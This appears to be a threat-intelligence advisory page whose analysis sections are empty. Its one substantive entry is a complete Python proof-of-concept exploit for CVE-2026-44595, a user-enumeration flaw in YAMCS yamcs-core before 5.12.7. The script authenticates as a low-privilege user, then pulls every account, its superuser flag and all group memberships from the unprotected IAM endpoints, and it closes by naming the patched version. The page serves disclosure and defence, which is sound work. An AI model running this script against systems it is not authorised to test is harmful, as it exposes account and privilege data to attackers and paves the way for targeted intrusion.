Technical Summary

Potential Impact

Mitigation Recommendations

Indicators of Compromise

• exploit-code: # Exploit Title: YAMCS yamcs-core < 5.12.7 - User Enumeration # Date: 2026-05-27 # Exploit Author: Daniel Miranda Barcelona (Excal1bur) # Vendor Homepage: https://yamcs.org # Software Link: https://github.com/yamcs/yamcs # Version: < 5.12.7 # Tested on: Linux # CVE: CVE-2026-44595 # Category: Remote / Information Disclosure # Advisory: https://github.com/yamcs/yamcs/security/advisories/GHSA-p2rj-mrmc-9w29 #!/usr/bin/env python3 """ CVE-2026-44595 — YAMCS Unauthorized User Enumeration via IAM API ================================================================= IAM API endpoints (listUsers, getUser, listGroups, getGroup) do not enforce SystemPrivilege.ControlAccess. Any authenticated user can enumerate all accounts, superuser status, and group memberships. Affected endpoints: GET /api/iam/users GET /api/iam/users/{name} GET /api/iam/groups GET /api/iam/groups/{name} ================================================================= """ import requests import sys import json def main(): target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8090" username = sys.argv[2] if len(sys.argv) > 2 else "testuser" password = sys.argv[3] if len(sys.argv) > 3 else "test" base = target.rstrip("/") print("=" * 65) print(" CVE-2026-44595 — YAMCS IAM User Enumeration PoC") print(f" Target: {target}") print(f" Username: {username} (low-privilege account)") print("=" * 65) # Authenticate print(f"\n[1] Authenticating as low-privilege user...") try: resp = requests.post(f"{base}/auth/token", data={"grant_type": "password", "username": username, "password": password}) if resp.status_code != 200: print(f" [-] Auth failed: HTTP {resp.status_code}") print(f" [*] Create test user: yamcsadmin users create testuser --password test") return token = resp.json().get("access_token") print(f" [+] Token: {token[:30]}...") headers = {"Authorization": f"Bearer {token}"} except Exception as e: print(f" [-] Error: {e}") return # Enumerate users print(f"\n[2] GET /api/iam/users (requires ControlAccess — not enforced):") resp = requests.get(f"{base}/api/iam/users", headers=headers) print(f" HTTP: {resp.status_code}") if resp.status_code == 200: users = resp.json().get("users", []) print(f"\n [!!!] VULNERABLE — {len(users)} users enumerated:") for u in users: flag = "SUPERUSER" if u.get("superuser") else "regular" print(f" -> {u.get('name')} [{flag}]") elif resp.status_code == 403: print(f" [+] 403 Access Denied — PATCHED") # Enumerate groups print(f"\n[3] GET /api/iam/groups:") resp = requests.get(f"{base}/api/iam/groups", headers=headers) print(f" HTTP: {resp.status_code}") if resp.status_code == 200: groups = resp.json().get("groups", []) print(f"\n [!!!] VULNERABLE — {len(groups)} groups enumerated:") for g in groups: print(f" -> {g.get('name')} ({len(g.get('members', []))} members)") elif resp.status_code == 403: print(f" [+] 403 Access Denied — PATCHED") print("\n" + "=" * 65) print(" Fix: Upgrade to yamcs-core >= 5.12.7") print("=" * 65) if __name__ == "__main__": main()